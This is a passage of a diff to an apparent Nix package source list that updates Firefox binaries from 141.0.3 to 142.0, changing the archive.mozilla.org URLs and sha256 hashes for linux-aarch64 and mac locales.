       arch = "linux-aarch64";
-      sha256 = "63d89fc08a4883f784b321f29753dd23de13f27d89825997ce3dabe28ea46b4e";
+      sha256 = "f6fac748ec84f35a53942d5c99ad66708d55507028c5eaa36be615f002ccda1f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/nn-NO/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/nn-NO/firefox-142.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "2dccd295049e9b54e8c2d53028d59a31931f8e3009c4ea0ef813d6eab1ddc426";
+      sha256 = "a20a47b4e26e90944694e1d6eff683bd1d4b8ae784ad4ba091cd0c06f3bff4ed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/oc/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/oc/firefox-142.0.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "2031f69771f713a9ff58be155cf4b2042441ca601c1af219c9d756c398ebe029";
+      sha256 = "732629aaca85c300d48c24f8a11226fcc7ab96274a7cca7d9c24dd6378517baa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/pa-IN/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/pa-IN/firefox-142.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "c50a6727ed9238bb5e4aa26df891e0cbc74812b6d1e67d8b1998fcce241dc354";
+      sha256 = "971fecbb0b58308b1c47d47ed6a56cfd919b77898dcf140aec69ce92ed94514b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/pl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/pl/firefox-142.0.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "86cc54c5fbd4a4d1118710d175de9ba04bab9c7a7908c6d3b62fecebea8fe0fe";
+      sha256 = "012bdb0d7185dacb9e56a3fa773cef0ee250e524b3c40d0c7f14b9e854848c00";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/pt-BR/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/pt-BR/firefox-142.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "b1a9417678c3adb378015d6e018077a0568d7a4fa57c76c5c6a9d1132fc3e033";
+      sha256 = "58c4cf11db472c71710e913236f02c862aa00d68dcab9d0959c9a4c3c7374eb6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/pt-PT/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/pt-PT/firefox-142.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "f60204eb0e58bba0ce39d8ef14f2b025c98a64e28053b47d20c5388e0e17d7c6";
+      sha256 = "f36b64e965d71e8451ec5d053f3033ec019245c825457a28de68bc8dd9db0398";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/rm/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/rm/firefox-142.0.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "4cc94554dcb45455c054537f6e353280480bb4d0b1db66e101f1035d4318a6fa";
+      sha256 = "a12419dbbc76f3bd63f1a83f8107da7db45c7c02c33d8c146b3bef391f72b2a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ro/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ro/firefox-142.0.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "67743218f892a0782afe133b6e3c38c119184017f586ae189326a61ff8e97ae7";
+      sha256 = "cd27b440fd9d4038438f026b357dc8feb128b19ca8eb5d0f5aecd2ea3ad9526a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ru/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ru/firefox-142.0.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "e0efc5f04d2290fc22762da16264a77221dfbf27e69441bf6226145c12928412";
+      sha256 = "2256ba507bac112347853da97d0467049be4ad76372ad299991b7be67c403c13";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sat/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sat/firefox-142.0.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "6222d863899d104c1a2d101cb0159a7849bc67be693ed87e971bbcca1a93e95e";
+      sha256 = "1f327a5a3769c275995935b7917840d75c3f641a256521852c2bf270af09d787";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sc/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sc/firefox-142.0.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "aded2382485893405e06c7a6edce9c2f8253775207948daf00a9269f2e61f428";
+      sha256 = "028fc1caff333f7dcf7cdc9b34a7dbc89f80dd51a34207eb55e2e017e4c0f2f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sco/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sco/firefox-142.0.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "e6502b6d91e2cf83cc47bdf62c4ae78226156d606b333749d13e112aa1d3c92a";
+      sha256 = "cdfaf057806f77abd4c21df7b74bb51c034df9be18bf96212613e58eeda029db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/si/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/si/firefox-142.0.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "54c846cb3486bd58a0ff3bb8e671812590be7fad256dbb840e69ec785ce86f51";
+      sha256 = "f857f9416dbf0e6b8b27eef8dce9f803c3f8ff3d5e7ce4c10740636782a57e33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sk/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sk/firefox-142.0.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "ff78517d82566c485f541fb15708e8e625257e02bc620619380b0b3b58d91617";
+      sha256 = "0526baa8b197ab5511739369d1914beddc91fcd45b01e2c3bef0d41a073e74a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/skr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/skr/firefox-142.0.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "3e5f1a1c932d4dd15212fd9448fe55e54d5a8287d45f22237dbda4554ffb9f12";
+      sha256 = "0b69b4c3fa1677f5d614dfe7eb9434bcfcf41f6bf6c04452121f5de4ffd9ea4f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sl/firefox-142.0.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "b6d43db8f84e212bcc84e742802c1d29840dcf0e4f5c78601a3ecf3d7e672a76";
+      sha256 = "005514a0ecace67395aa497986d2896e10d029eac6665e80a353fe64760b5cfa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/son/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/son/firefox-142.0.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "f8e335ff2d1a531401637a50a38d84da3dc8779f835268f52238c1668ad2e8db";
+      sha256 = "0982c3c8286482ff4d58e74e34beb9c5507333102722d8d75b40ca1018b9d0c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sq/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sq/firefox-142.0.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "f51c81be5da3838fb0b6e23b4d55dde52c5e7a63f617e5a7a7658fd590d13a8d";
+      sha256 = "17d0a0fa71980b593f6fccf4e4685776aba7cc0fe12ebeabd4fb0ca8e8f34d8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sr/firefox-142.0.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "7a9e6000f2e7bba8e2f6fb77b6935eade017bbf3ed6c57365811173540871384";
+      sha256 = "86deb314cc5b2d4c74fa06a4fd04ad8a25a0d7a30ff17b064f3f621a7e9d13b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/sv-SE/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sv-SE/firefox-142.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "99c71e04a99b098636d685d596110a68f51701692488679193c0f7fdd8b1c76c";
+      sha256 = "facdac4938ba2f3f3995e1a65556ba4eba027cd75b26991001c51eaa8bae1c73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/szl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/szl/firefox-142.0.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "0acfda6b3b7fe73a53c572ec423aba18b578d87149d883885ed799bfc8788193";
+      sha256 = "19eadc0fb28e5439b031dfc66341ccf3af30cf0231f9fa97695acfcec99cef31";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ta/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ta/firefox-142.0.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "0f229bd2c3b897494e498a1692b6b80f68577ed10d425f7d4e949fb7724a535e";
+      sha256 = "b19438f28cad92c2fbdd7ba9000c04deac9ab5d66b85ab2d1172a4b2f4c23468";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/te/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/te/firefox-142.0.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "b7dd94b4ede4a57552a93957629c47bc02fe19ea149c7f86a0b0cafd403652a2";
+      sha256 = "6cbc5f058c6c51daaa152374dbf0ef7a480b2a5b8379ee124ed54619ff659997";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/tg/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/tg/firefox-142.0.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "7eadc936e325cf2918586979197d530a84df3d973a2d278563ce08dfd500c243";
+      sha256 = "9e9552df9c45562e7a6d6ad8b3338268233d9d4876815426b7c83e15c89a15fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/th/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/th/firefox-142.0.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "20a0b7227ab6cb9084f8503062006d91a8fedfdaefa272dd3b6ce58028befb69";
+      sha256 = "66d924b81ad6d7c721396ebec7d01e56f340267f2f2cf8537c04e0a4e81ba38a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/tl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/tl/firefox-142.0.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "184eba362e2b6598d64d69a976ca71a16ac4d5d11415488b60e1dfb59546f1b1";
+      sha256 = "f77af69387be92e855d261bdc0a312c411a537c9b084b4b99edcf92b78b9ea30";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/tr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/tr/firefox-142.0.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "994c183a385f3bbc526f0c7ddc769c554b3fcc58cfeea278349568a1355eada0";
+      sha256 = "f439a1e898458d0552d166a73377f41226094fec512747e79b44928c95c0f749";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/trs/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/trs/firefox-142.0.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "3f2242f30ebfbe16608b9c9b4ab30c2c0e761b8ea1ce3624af2b0fc19bd03afd";
+      sha256 = "5634c589f31965f0ee274eabf98b98cff0432f7164894cf78cc83787805cb793";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/uk/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/uk/firefox-142.0.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "a73a9944efcd02df6607d4591f5d48fedc0f49b1011402489c4100c8334f6ac1";
+      sha256 = "00c78e103130e596bf1b6a7902ead661b6e95bb09a3020e99fd7988701a52d26";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ur/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ur/firefox-142.0.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "bbee6b3acf149d51b806d715fba6fc3d7638255731358b09e1d7084413b3d273";
+      sha256 = "c076d51edd7d0c5eafb82b84b3de8c7b6ec46f8949403b67bdf0873a7815c8f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/uz/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/uz/firefox-142.0.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "eb7788a8ff0eb8bcf6ac63d8cd3e012296ed15db7fd29db853c65f7173e3784b";
+      sha256 = "e060c94992b95b4b3489b042f26e5ab424cf853456db4d546cdbaee7783f4f27";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/vi/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/vi/firefox-142.0.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "b9c3d08683826064b99befd1d9a36c450a0a8292454b233ab25fcae2ddda3e9a";
+      sha256 = "94325fb4fc9bc3a37d3c7ce0e28c1caaf3cb053c9816eef204d27408642659ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/xh/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/xh/firefox-142.0.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "06dad8694ae5a2b277d3ea2bc9a69a38712c903661cc431c3d84f89659b4e488";
+      sha256 = "e95bd5ad4068b0cfed97dbb0a0cad69820424ba56e9343ac1a6afb9d8fe92b1e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/zh-CN/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/zh-CN/firefox-142.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "df79ba8c1bdfcc3d73fc399bb39cc55ea22f90d37ea953a57b0396b19e75e30c";
+      sha256 = "ae33b4d6307a424367c128754caecf8c6ccde2cd51583bb27b06fd5827984fde";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/zh-TW/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/zh-TW/firefox-142.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "0e51d372cb39355eeb6ca49990f9c6bc3957035b6b400ad7ac332b8222c7c9b0";
+      sha256 = "f8d9d6147d361af3c691dbc8ea4bdc8776642dbcfb0eef52aa07faee918f2e2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ach/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ach/Firefox%20142.0.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "fe4ee5f513284a3445cee74c0c27ccc3de519a8cc9266f98028fc1024388ca3c";
+      sha256 = "4341ce0002c88250bf7767280ef7e376467f44e59403bbcbd3d44d402b78fa5f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/af/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/af/Firefox%20142.0.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "1b262463cd00bc437415b59a8b99cdf389b84b3b58a9f44e9e09721a0d1e5a1a";
+      sha256 = "f70282fefa70894de40b30011a20737473121496f66b3366a778e3bb6e28b14a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/an/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/an/Firefox%20142.0.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "e497f070cd27e017620246a476d40b375d78b58f96b9c598b4628e60308b0721";
+      sha256 = "935e240f3145f413f55e9c236dd9bfbc43f6fa19b74a0920faee3a63023620a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ar/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ar/Firefox%20142.0.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "a0ec1696a4264fd5c02bc337987cc5c415dca3b0f1f73a0e6f0a5cad6eb3df7e";
+      sha256 = "d7d4aa7fdf7e167de93d6cf40d4c3a00a9a5ab2a57b7235c2f9062724e5bade2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ast/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ast/Firefox%20142.0.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "dd68b926e41ddac2badddafd1cc4609cb9b8107bde0f1cd844b359c025d87017";
+      sha256 = "27c410ca47ac3512725d68200bd494e22bc4134803055dd4ac9b86847ae271a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/az/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/az/Firefox%20142.0.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "23e82c76b02ebe131cd283ceda8301e8840e0c5e51948282803c303a3d0b84ea";
+      sha256 = "4a50ed3cb6792253e20fce8555024c97af71660af9cdcb23d55765f2a9b9e537";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/be/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/be/Firefox%20142.0.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "ae607bd09bb790432d4ba77d4914bffe7d8ccb39ffe23fa1dd60fcd70c05fd9d";
+      sha256 = "3d07b34c4a12a36b195ca55dcbdb65345178786673bd3a44bfd3ace750fd7e00";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/bg/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/bg/Firefox%20142.0.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "614f9e3c2a0c30a600e94c96f85ae53c2e9071aed2250a6b10d23093a5ef1a9f";
+      sha256 = "6fc20dde52b54f61bbfd6454982486fac5ee77565ab7a2edc35798d2edad9e72";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/bn/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/bn/Firefox%20142.0.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "5fe6b0b130f8e80ffa295fee98d38036a864bb465f3aee289fc2429e5a9358f2";
+      sha256 = "c90f7ba197f3c600002e2aeeaa8bed08ec82fca72097be7d42fb5bd582e5bab7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/br/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/br/Firefox%20142.0.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "10bc04de7b31281c58738f05a8795a04ced567e8debd6fbd7847d53420dcd0fa";
+      sha256 = "edd552f746924c087888ca5f35d043cbeeec1c4b2ef39d875f89d326176ce2b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/bs/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/bs/Firefox%20142.0.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "1045d566ea8ec40344febb89214fbab1bc46c6f28bd3a3e10293f37dfb4f5063";
+      sha256 = "45e4510ab4bc953d299800b07089ea4773610a59b65637d15cd21bfbfabf10d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ca-valencia/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ca-valencia/Firefox%20142.0.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "33668ba6982b9e4152674ff617b90e878c3d487cc471a113b63bcd4a062f4e6c";
+      sha256 = "c969ce8f59de04cbbb11efeb7265174f0a453ca751ba1407dc4239f9117df30e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ca/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ca/Firefox%20142.0.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "17a9543de81d34ade407aad7d1fe6cb0533adbf24b70d514cad1007b2a894c0d";
+      sha256 = "8b858ba62e2a3b911cb9cf367481971910a1ff3ed763e969e1ffbc978d8e74c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/cak/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/cak/Firefox%20142.0.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "1090cec0a21a4e1d9cf31910b3632d052cb6fb1811b18ab06ed27427e4b20940";
+      sha256 = "0857daed19bda28a4c05d13e8ad5074890027200305e971a1c648ecd2364dc17";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/cs/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/cs/Firefox%20142.0.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "6ac4afd1edc5a7cc0bff143d16c04f4cc9cc016282f664a06a1c873ee1b5d7fb";
+      sha256 = "8529af4a2972946a3c99249b561b34c9f3b83cc393c749ba01df33cc8bf50dac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/cy/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/cy/Firefox%20142.0.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "277215999fd59088a7ceda9e8918df27989920c16e326351dda6c75468f1a7a0";
+      sha256 = "bdb881bf47243839b73b55a2c12b8ee51541a129655eaea585155f02e93a5349";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/da/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/da/Firefox%20142.0.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "ade16d20e8647b3c37c8ca9f04e214abb33262c83d8a64edec468c224857ee27";
+      sha256 = "065d76480584713f94638ad5ce952c23d591711bd0b02b38951b3a366f894f9d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/de/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/de/Firefox%20142.0.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "7724319830781b585946bdf5b74577fb63339513d1d8fc92829b7b310e2a98e6";
+      sha256 = "e8d658e2292fe88ac4bd623303bcc24bd87eadb43b6a5ea5d0e216c35c434737";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/dsb/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/dsb/Firefox%20142.0.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "fdf0dee85f200db133600c4d461b3750cf3e6849821d83dd949935bf5843ca16";
+      sha256 = "964525213b7c6bb4950b585598c2c5e0fde91919826378d2a41c6a1c9d0b323a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/el/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/el/Firefox%20142.0.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "2685246fdee90d48dbfe13c75e4f702d5e413ea1ab696639bf0e83e05b495a5e";
+      sha256 = "cf11c802fdb71294c85cab2e95db5cf5965d1f1fcbfb6119a1a8d02e05549de6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/en-CA/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/en-CA/Firefox%20142.0.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "c99d230960d93b3f6376b6e299593bcfaf80680b2333c2373a73ed9be6aaea54";
+      sha256 = "3a97157b0a0c12820506e42bd18470fb5bc8b77f6f4198f5cfa36f677fb53fb4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/en-GB/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/en-GB/Firefox%20142.0.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "46942a1dad7d20c46fdf3b7b2c3dda0bf7ec87eda34765600838f97a4f6ac1e7";
+      sha256 = "a94c7636941c72be838546e304f98f94cacdf95124ebf33de7bece24fae6f1b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/en-US/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/en-US/Firefox%20142.0.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "bb922cda690543bddaa1fbc3b3cba508c60774832643452bc266595331f42db1";
+      sha256 = "cc0ce6b3ec64d064c16187f92ca4a8df5a21a1d7aa2f79a9e82b44602f2b1a0f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/eo/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/eo/Firefox%20142.0.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "826ab0d511294ae77c0c8d7ee50a5449b29c87138aa3ad35ca4cf1fa5d412da4";
+      sha256 = "0805049d7deec19cea01bf5947231442d37e486ee90d442deb647e2546481248";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/es-AR/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/es-AR/Firefox%20142.0.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "0a7e1ea2de529ffb1bc604638d5bf10797b7fa7b1c17e85f09d4ac9e3d0d3ad7";
+      sha256 = "c393d3298fe486f801033b75f46c0e98258d79507df469681f096a18b86068ed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/es-CL/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/es-CL/Firefox%20142.0.dmg";
       locale = "es-CL";
